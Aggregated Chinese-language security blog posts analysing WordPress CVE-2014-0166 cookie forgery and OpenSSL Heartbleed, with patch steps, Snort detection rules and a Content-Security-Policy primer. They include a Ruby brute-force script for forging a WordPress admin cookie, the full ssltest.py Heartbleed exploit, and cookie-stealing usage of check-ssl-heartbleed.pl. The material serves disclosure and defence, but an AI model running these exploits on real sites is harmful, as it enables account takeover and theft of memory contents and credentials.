Aggregator

前言

在一陣 OpenSSL Heartbleed 淘金潮中，又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發－CVE-2014-0166。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點，攻擊者可以暴力偽造出合法 cookie，藉此獲得 WordPress 最高權限，進而拿到 shell 取得系統操作權。 讓我們來分析一下這次的弱點是發生了什麼事吧！

解析

這次出問題的程式碼在這邊，關鍵程式碼如下：

$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); if ( $hmac != $hash ) { /** * Fires if a bad authentication cookie hash is encountered. * * @since 2.7.0 * * @param array $cookie_elements An array of data for the authentication cookie. */ do_action( 'auth_cookie_bad_hash', $cookie_elements ); return false; }

問題主要發生在比較運算子 != 上面，!= 運算子是 non-strict，會在比較前先做型態轉換，所以下面看似應該是回傳 true 的例子，全部都顯示為 false，細節請參閱官方手冊。

var_dump(0 != "a"); // 0 != 0 -> false var_dump("1" != "01"); // 1 != 1 -> false var_dump("10" != "1e1"); // 10 != 10 -> false var_dump(100 != "1e2"); // 100 != 100 -> false var_dump( "0" != "0e10123456789012345678901234567890" ); // 0 != 0 -> false

進入正題，WordPress 認證身分用的 cookie 內容是這樣的：『username|expiration|hmac』。
username 是使用者名稱，
expiration 是有效期限(timestamp)，
hmac 值用來驗證 cookie 是否合法。
從上面程式碼可以看到，hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法，就可以成功偽造成 username。

利用稍早提到的比較運算子問題，若我們讓 cookie 中的 hmac 值為 0，很有可能讓判斷式變成下面這樣：

//if ( $hmac != $hash ) { if ( "0" != "0e10123456789012345678901234567890" ) { do_action( 'auth_cookie_bad_hash', $cookie_elements ); return false; }

如此便可以通過驗證，成功偽造合法 cookie。
而為了讓 $hash == 0，可以不斷改變 cookie 中的 expiration，讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。
符合 $hash == 0 的 MD5 $hash 值有 0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)

故出現 $hash == 0 的機率為 Sum(10^n,n=0,30)/16^32 = 3.265262085617465e-09

每次偽造的成功機率約為三億分之一，並不會很高，但已經足夠在一個月內拿到最高權限，而且所耗成本並不會很高。

實驗

為了驗證此方法之可行性，我們架設了 WordPress 3.8.1 環境。並且寫程式將登入 cookie 中的 hmac 設為 0，不斷調整 expiration 值測試是否已經登入，程式如下：

require 'httpclient' http = HTTPClient.new cookie_name = "WordPress_logged_in_de5be3cf9fcea023a1303527e10ea67a" timestamp = Time.now.to_i (timestamp..timestamp+800000000).each do |time| result = http.get('http://domain.my/WordPress/', nil, {"Cookie"=>"#{cookie_name}=admin%7C#{time}%7C0"}) if result.body.include? 'logout' puts "admin%7C#{time}%7C0" break end end

註：此程式為 POC，請自行調整為多執行緒版本，不然速度會很慢。

經過一段長時間的等待，得到的結果如下：

得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時，伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值： admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖，實驗成功！

註：一般狀況，若不知道 WordPress 最高權限的帳號，可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。

結論

最近出現了一個高風險通報 CVE-2014-0166，其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點，可以偽造合法 cookie，進而取得 WordPress 管理權限。本文分析了其原理，並且證實之。

對於攻擊者而言，雖然每次偽造 cookie 成功的機率約為三億分之一並不高，但發送三億個 request 後或許能拿到最高權限，已經是值得投資的級數。

對於 WordPress 管理者而言，建議立即更新至 3.8.2 以後版本，以免受到此風險攻擊。

從此事件也提醒了 PHP 開發者，在撰寫重要的驗證行為，要特別注意 PHP 比較運算子的特性，請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣，避免因為轉型造成的資安風險。

你跟上了 OpenSSL Heartbleed 的祭典了嗎？如果還沒有，別忘記詳細閱讀一下我們的前文「OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞」。

這幾天不少企業、民眾都不斷來詢問我們相對應的解決方案：

• Heartbleed 跟我有關嗎？我該怎麼知道？
• 我該怎麼更新 OpenSSL？
• 我如果不能更新，要怎麼防止攻擊？
• Heartbleed 漏洞攻擊者會怎麼利用？
• 目前受害的狀況如何？
• 我只是一般民眾，該如何應對？

我相信不少人都有類似的疑問，我們以這篇專文補遺上次沒提到的資訊。

攻擊手法示範

大家都說 OpenSSL Heartbleed 漏洞可望為本年度最嚴重的漏洞，到底有多嚴重呢？我相信沒有看到攻擊的範例是沒有感覺的。大家可以先看看以下的影片，利用最先釋出的兩個簡單的 PoC exploit （弱點利用程式）「ssltest.py」以及「check-ssl-heartbleed.pl」，來檢測伺服器是否有 Heartbleed 問題。檢測的同時可以獲取伺服器記憶體中的資訊，其中就可能包含了機敏資訊。

讓我們來看看吧！

首先利用 ssltest.py 來測試，來看伺服器是否有被 heartbleed 漏洞影響，fbi.gov 在第三天已經修復這個問題。

如果是檢測一個有漏洞的網站，這個工具會直接把記憶體的內容顯示出來，其中可能包括 http 傳輸的資料、帳號密碼、私密金鑰等。在這個例子中，攻擊程式讀取到使用者送出的 form，若其中包含個資將會被一覽無遺，非常危險。

另一個工具 check-ssl-heartbleed.pl 可以使用 -R 參數做更有效的利用。直接執行指令可以快速顯示伺服器有無問題。

如果使用「-R」參數並且指定特定的正規表示式，可以抓出想要獲取的資料。例如 Cookie、帳號密碼等。以此例，我們知道這個網站提供 phpMyAdmin 套件，因此直接鎖定「pmaPass」資料來抓取，沒想到第一次就抓到了。

接著攻擊者只要把這個獲取到的 Cookie 存入自己的瀏覽器中，就可以如影片中盜用這個帳號。是否很危險呢？

除了這種利用方法之外，還有更多情況是直接把使用者登入的帳號密碼直接顯示出來的，因此如果伺服器沒有做好防禦或更新，整個網站的使用者資料都可以因此外洩。這也是為什麼我們一直強調伺服器管理者必須要更新金鑰、全站使用者帳號密碼等，以防有心人士借此撈取資料。

誰在利用 Heartbleed 漏洞竊取資料呢？

由 github 上面的 commit 記錄，出問題的那行程式碼是在 2011-12-31 22:59:57 commit 的，不知道是開發者太累還是 NSA 的陰謀。根據 Bloomberg 的報導指出，知情人士表示 NSA 早在兩年前就已經知道此漏洞，並且利用這個漏洞竊取許多網站的機敏資料。這代表 NSA 在一開始就知道這個漏洞，令人不禁有其他聯想。

The U.S. National Security Agency knew for at least two years about a flaw in the way that many websites send sensitive information, now dubbed the Heartbleed bug, and regularly used it to gather critical intelligence, two people familiar with the matter said.

在之前台灣駭客年會 (HITCON) 2013 的講師 Rahul Sasi (Garage4Hackers) 公布了大量掃描 Heartbleed 漏洞的程式，也可以供研究人員自行研究，或者是尋找自己管理的主機中有多少包含這個風險的。

常見問題 OpenSSL 是什麼？IIS 會受 Heartbleed 漏洞影響嗎？

OpenSSL 是一個函式庫（Library），在 UNIX 系列的服務若有使用 SSL，通常都會使用 OpenSSL。因此這次的漏洞並未影響微軟 IIS。

我使用 OpenSSL 0.9.8，太好了我用舊版我好安全！

你聽過 BEAST, BREACH, CRIME, Lucky 13 嗎？

我沒有使用 HTTPS，所以我很安全！

。。。

只有網頁伺服器（HTTP Server）會受影響嗎？

不只！只要使用 OpenSSL 支援 STARTTLS 的服務都在影響範圍，包括 HTTPS、IMAPS、POPS、SMTPS 等伺服器。

只有自己架設的伺服器會受影響嗎？

當然不只！目前已經出現各大設備廠商都遭遇到這樣的問題。各大設備廠商、作業系統等影響狀況，可以參閱以下文章。

CERT: OpenSSL heartbeat extension read overflow discloses sensitive information http://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=720951&SearchOrder=4

廠商的設備目前狀況特別嚴重，因為所有同個版本的設備都會受影響，而在廠商釋出更新之前，只能被動的等待更新。若沒有繼續簽訂維護約的設備，也只能繼續跟廠商簽約更新，或者是看廠商是否可以直接提供更新檔。如果有 VPN Server 等服務更要注意，如果被攻擊者取得帳號密碼，等於如入無人之境，直接使用你的帳號登入到企業內網，不可不慎。

各家系統更新的速度？

引述自好朋友 Ant 的文章，各家作業系統、網站的更新速度，代表著企業重視資安的程度以及針對資安事件緊急應變的效率，也可以作為我們挑選系統、網站、廠商的依據。

二、作業系統的更新進度

從資安事件的處理可以推敲出各作業系統商對於緊急事件的反應速度。 時間軸，按照修復的先後排列：

1. OpenSSL (資安弱點的主角) 第一次公開揭露的時間約在 2014年4月6日 0時。
2. RedHat 在 2014年4月7日 07:47:00 正式修復。
3. OpenSSL 正式確認並修復的時間約在 2014年4月7日16時。
4. OpenBSD 約在 2014年4月7日 20:17 正式修復。
5. Arch Linux 約在 2014年4月7日 20:36 正式修復。
6. Debian 約在 2014年4月7日 21:45 正式修復。
7. FreeBSD 約在 2014年4月7日 21:46 正式修復。
8. Ubuntu 約在 2014年4月7日 21:48 正式修復。 (2014年4月8日分隔區)
9. Fedora 約在 2014年4月8日 00:33 正式修復。
10. CentOS 約在 2014年4月8日 02:49 正式修復。
11. OpenSUSE 約在 2014年4月8日 05:32 正式修復。
12. Scentific 約在 2014年4月8日 08:27 正式修復。
13. Gentoo 約在 2014年4月8日 09:36 正式修復。

重點整理：

1. RedHat 修復的速度比 OpenSSL 官方還快。
2. RedHat 派系的修復時間，除了 RedHat 外都算慢，如 Fedora 及 CentOS、Scentific，他們都比 RedHat 慢 16 小時以上。
3. Debian 派系的修復時間，如 Debian 及 Ubuntu，都比 RedHat 慢上至少 12 小時以上。
4. Gentoo 是列表中修復最慢的。
5. 若以資安黃金 6 小時來說，Fedora、CentOS、OpenSUSE、Scentific 及 Gentoo 都不及格。

三、大公司更新的速度

同樣地，從資安事件的處理可以推敲出各公司對於緊急事件的反應速度。

雲端相關公司

• Cloudflare 約在 2014年4月7日 11時修復。
• DigitalOcean 約在 2014年4月8日 12時修復。
• AWS 約在 2014年4月8日 12時修復。
• Linode 約在 2014年4月8日 14時修復。
• Heroku 約在 2014年4月8日 16時修復。

有些公司直到 2014年4月8日 16時都還沒修復。此時已離官方正式修復整整一天，也比上述機器數很多的雲端相關公司還慢。這些公司為，

• Yahoo.com / Flickr.com
• Kaspersky.com (資安公司)
• stackoverflow.com
• stackexchange .com
• php.net

感謝 StackNG 的補充：Cloudflare 於 2014 年 4 月 7 日 11 時公告，但在漏洞公告之前已經修復。

目前還有哪些伺服器有問題呢？

根據 ZMap 的研究報告指出，他們針對 Alexa 前一百萬個網站進行檢測，大約有 36% 的伺服器支援 TLS、7.6% 的伺服器含有此漏洞。ZMap 並提供了一個完整的清單列出在 2014/4/11 17:00 尚未修復漏洞的網站。

有什麼值得測試的網站呢？

via Facebook

我要怎麼更新 OpenSSL 呢？

根據不同的 Linux Distribution 有不同的更新方式，若有自己客製化一些程式設定，可能就需要自行更新。以下我們簡單介紹更新步驟：

RedHat / CentOS / Fedora 系列更新套件：

yum update yum update openssl #只更新 OpenSSL

Debian / Ubuntu 系列更新套件：

sudo apt-get update sudo apt-get dist-upgrade

若只要更新 OpenSSL 則可以執行以下指令

sudo apt-get install --only-upgrade openssl sudo apt-get install --only-upgrade libssl1.0.0

注意 OpenSSL 是否已經更新為修復的版本：

rpm -q -a | grep "openssl" # RedHat dpkg -l | grep "openssl" # Debian

接著請記得撤銷原本的簽章金鑰，重新簽署，並記得提交 CSR (Certificate Signing Request) 給 CA (Certification Authority)。

openssl req -new -newkey rsa:2048 -nodes -keyout hostname.key -out hostname.csr

結束後記得重新啟動相關服務

sudo service httpd restart # RedHat sudo service apache2 restart # Debian

最後再使用檢測工具看自己的網頁伺服器或其他相關服務是否已經不在漏洞受害範圍。

我無法更新我的伺服器，我該怎麼在 IDS 偵測攻擊呢？

若你使用 Snort IDS，官方已經釋出 SID 30510 到 30517 來偵測，並且在 Community Rules 中也有包含。 http://www.snort.org/snort-rules/#community

# SIDs 30510 through 30517 address detection of the heartbleed attack alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL SSLv3 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 00|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30510; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 01|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30511; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.1 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 02|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30512; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.2 heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 03|"; depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30513; rev:2;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER SSLv3 large heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; content:"|18 03 00|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30514; rev:3;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1 large heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; content:"|18 03 01|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30515; rev:3;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.1 large heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; content:"|18 03 02|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30516; rev:3;) alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.2 large heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; content:"|18 03 03|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30517; rev:3;) 民眾與管理者應對措施

不少朋友來信、留言洽詢，到底自己該怎麼針對這次的漏洞應變？我們簡單就一般民眾以及系統管理者說明。

一般民眾應對措施

• 注意常用的重要網站服務，是否有針對 Heartbleed 漏洞的更新措施。不少大公司都有發出公告、公告信等。
• 若常用網站服務有遭遇此風險，記得更換帳號密碼。
• 若這段時間有網站通知更換密碼，也請注意是否為釣魚信件。
• 注意自己的帳號是否有異常活動。
• 若使用的網站服務就是不更新，一天一信友善提醒管理者。

系統管理者應對措施

• 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2，並密切注意有無後續更新。
• 重新產生金鑰（Private Key 可能外洩）、Session（Session ID 可能外洩）、密碼（密碼也可能外洩），並且撤銷原本的金鑰。
• 若無法更新，重新編譯 OpenSSL 以關閉 heartbeat 功能。
• 使用 Perfect Forward Secrecy (PFS)，在未來類似風險發生時減低傷害。

許多業者抱持著僥倖的心態，想說外洩的目標不會輪到自己。如果大家看到這幾天全世界資安人員 / 駭客不眠不休的撈取資料，應該會徹底消滅僥倖的想法乖乖做好防護。在漏洞揭露的頭幾天，就已經陸續看到不少駭客進入 Google、Facebook、Yahoo! 等伺服器，並且撰寫大規模掃描工具大量攻擊。除非你有把握自己的伺服器沒有任何連線，不然還是請乖乖更新吧。

大事件，大啟示

還記得之前我們提到的「使用第三方套件所要擔負的資安風險」？這次的事件就是一個血淋淋的案例。不管是廠商、社群、個人開發者的粗心失誤，或者是國家機器 NSA 的強力滲透，使用各種第三方的套件都需要承擔極大的風險。但可悲的是，我們卻無法不使用。從這次的事件我們可以學到幾件事情：

1. 不管哪種攻擊手法、多老舊的攻擊手法，在未來都可能會再度發生。
2. 程式碼的 review 非常重要，一定要在開發過程中導入程式碼 review 機制，以免開發者寫出含有安全疑慮的程式碼。
3. 加密、Session 控管、金鑰控管等議題，是永遠的課題。一天沒處理好，在未來的風險中會再度受害。
4. 風險永遠會發生在你猜不到的地方，可能是程式、可能是函式庫、可能是加密協定、更可能是亂數產生器。

不斷的增強資安意識、不停的分享新知、廠商做好資安控管及安全檢測、民眾對企業和政府要求資訊安全，集合大家的力量，是改善資安大環境的不二法門。

你以為自己逃過一劫了嗎？也許你的身體已經血流如柱，而嗜血的鯊魚正游向你。

本文主要以php字符串强制转换引发的问题为例，阐述了建站CMS插件使用不当会导致站点存在高危风险

OpenSSL CVE-2014-0160 嚴重漏洞

OpenSSL 今天公告了一個極度嚴重的漏洞（CVE-2014-0160），被稱為「Heartbleed」，而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料，利用傳送 heartbeat 的封包給伺服器，在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料，因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等，因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。

詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug

• 軟體名稱：OpenSSL
• 影響範圍：1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
• 修復版本：1.0.1g / 1.0.2-beta2
• 影響系統版本
  • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5, OpenSSL 1.0.1e-15
  • Fedora 18, OpenSSL 1.0.1e-4
  • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
  • FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c)
• 影響服務：HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務

OpenSSL 的公告如下：https://www.openssl.org/news/secadv_20140407.txt

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server. Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1. 如何自我檢測？

要如何測試自己的網站有沒有這樣的漏洞呢？可以利用以下的網站或工具直接查詢。

• Heartbleed test http://filippo.io/Heartbleed/

直接輸入 Domain 即可查詢，例如「fbi.gov」。

• 自我測試工具 http://s3.jspenguin.org/ssltest.py （或 http://pastebin.com/WmxzjkXJ）

使用方法直接執行「python ssltest.py ifttt.com」，或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料，可能內含機敏資料例如 private key、session cookie 等。

原始碼如下：

#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()

• 自我測試工具 https://github.com/noxxi/p5-scripts/blob/master/check-ssl-heartbleed.pl

使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」，可在網域名稱後指定特定 SSL 連接埠。

使用說明：

Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160) Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port --starttls proto[:arg] - start plain and upgrade to SSL with starttls protocol (imap,smtp,http,pop) -T|--timeout T - use timeout (default 5) -H|--heartbeats N - number of heartbeats (default 1) -s|--show-data [L] - show heartbeat response if vulnerable, optional parameter L specifies number of bytes per line (16) -R|--show-regex-data R - show data matching perl regex R. Option can be used multiple times -q|--quiet - don't show anything, exit 1 if vulnerable -h|--help - this screen Examples: # check direct www, imaps .. server check-ssl-heartbleed.pl www.google.com:443 check-ssl-heartbleed.pl www.google.com:https check-ssl-heartbleed.pl mail.google.com:imaps # try to get Cookies check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443 # check webserver via proxy check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000 # check imap server, start with plain and upgrade check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143 # check pop server, start with plain and upgrade check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110 # check smtp server, start with plain and upgrade check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587 應對措施

如果發現自己的伺服器有這樣的漏洞，該怎麼辦呢？

1. 確認自己的 OpenSSL 版本是否在受害範圍
2. 使用 ssltest.py 檢測工具檢測是否含有漏洞
3. 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
4. 重開所有與 OpenSSL 函式庫相關之服務
5. 重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
6. 將網站舊憑證撤銷
7. 清除所有目前網頁伺服器上的 Session （因為可能遭到竊取）
8. 必要時更換網站內使用者密碼，或是密切追蹤網站是否有帳號盜用的情況發生

詳細討論與建議可以參考 Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it

誰會是目標呢？

真的會有攻擊者利用這樣的攻擊手法嗎？目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式，想要藉此把平常打不下來的網站一舉攻陷。

怎樣的站台會是重點目標呢？含有會員機制的網站特別如此，例如 Web Mail、社群網站等等。因此不少企業要多注意了，例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS，都會在這波的攻擊範圍之內。如果沒有儘速修復，等到更有效的攻擊程式出現，就真的等著失血了。

小結

就連 OpenSSL 這種歷史悠久而且重要的函式庫，都可能犯這種基本的 C 語言程式設計錯誤，老舊的程式碼一定有不少陳年遺毒，如果沒有徹底清查，類似的心臟噴血事件會不斷上演。大家快點止血吧！

Content-Security-Policy

還記得在上一篇 HTTP headers 的資安議題 (1) 文章中，我們提到了多種資安相關的 HTTP headers 嗎？接下來的幾篇文章我們會介紹幾個專門對付 XSS 的 HTTP headers，首先就由 Content-Security-Policy 打頭陣。

Content-Security-Policy（以下簡稱 CSP）是從 2010 年被提出來的一項 Web 規格，主要目的是用來防止 Cross-Site Scripting（以下簡稱 XSS）跟網頁樣式置換（例如科技部被惡搞就是一個最好的例子）。經過五年發展，CSP 1.0 已從 W3C 的 TR (Technical Report) 變成 Candidate Recommendation，應該不久就會將成為 W3C 推薦標準。新的 CSP 1.1 則仍在草案階段。

CSP 家族龐大，總共有三個類別，六個項目：

• Content-Security-Policy
• Content-Security-Policy-Report-Only
• X-Content-Security-Policy
• X-Content-Security-Policy-Report-Only
• X-WebKit-CSP
• X-WebKit-CSP-Report-Only

在 CSP 發展初期，主流瀏覽器並未全部依照同一標準來開發，因此發展成這三種類別。目前由於 CSP 1.0 即將成為標準，大多數瀏覽器已支援 Content-Security-Policy 這個類別，因此狀況已逐漸收斂。主流瀏覽器的支援列表如下圖：

從列表中可看到，只要使用 Content-Security-Policy 與 X-Content-Security-Policy 就已有很高的覆蓋率，除非要支援 Safari 6，否則不用特意使用 X-WebKit-CSP。更詳細的瀏覽器支援列表可參考 Can I use。

CSP 1.0 主要作用

• 載入來源白名單

  宣告一組受信任的白名單與資源種類（如 JavaScript, CSS, image 等等），使瀏覽器只能從此白名單中載入資源，藉此防止攻擊者從外部引入含有惡意程式碼的資源。

  例：Content-Security-Policy: default-src ‘self’; script-src ‘self’ http://js.devco.re; style-src ‘self’ http://css.devco.re; img-src ‘self’ data:; frame-src ‘none’

  效果：限定 script 資源只能從 http://js.devco.re 載入；限定 style 資源只能從 http://css.devco.re 載入；限定 img 只能從相同 domain 載入，並且支援 data scheme；限定 frame 不能從任何來源載入；除了 script、style、img、frame 之外的資源，則只能從同樣 domain 以及同樣協定的來源載入。

• 禁止 inline 程式碼

  一般人開發網站時為求便利，經常會在 HTML 中寫入一些 inline 程式碼，但攻擊者意圖入侵網站時也常用此手法。然而瀏覽器其實無法分辨這些 inline 程式碼究竟是開發人員寫的，還是攻擊者植入的。因此 CSP 乾脆強迫開發者必須把所有 inline 程式碼移到外部檔案，完全杜絕在 HTML 中出現 inline 程式碼的狀況。因此除非你在 CSP 宣告時有註明 ‘unsafe-inline’，否則 CSP 預設禁止使用 inline script 或 inline CSS。

  例：Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-inline’

• 禁止 eval 函式

  eval() 對許多開發者來說一直是個非常方便的函式，然而若缺乏資安觀念，使用此函式時很可能會導致潛在的 XSS 風險。因此除非你在 CSP 宣告時有註明 ‘unsafe-eval’，否則 CSP 預設禁止使用 eval() 函式。

  例：Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-eval’

• 防止 sniffer

  由於 CSP 可指定載入資源時強制使用 https 協定，因此可降低被 sniffing 的機率。

  例：Content-Security-Policy: default-src http://devco.re; img-src https:

  效果：限定圖片只能從 https 協定載入，不限定 domain。而除了圖片之外的資源則可從任意來源載入。

CSP Demo

下面這一段程式碼，使用 default-src * 讓相關資源可正常顯示：

<?php header("Content-Security-Policy: default-src *"); ?> <html> <head> <title>CSP Demo Site</title> </head> <body> <h3>Content Security Policy Demo Site</h3> <img width="200" height="200" src="http://devco.re/assets/themes/devcore/images/double-sticker.png"></img> <iframe frameborder='0' width='300' height='200' src='http://www.youtube.com/embed/E-BGf1MwecU'></iframe> </body> </html>

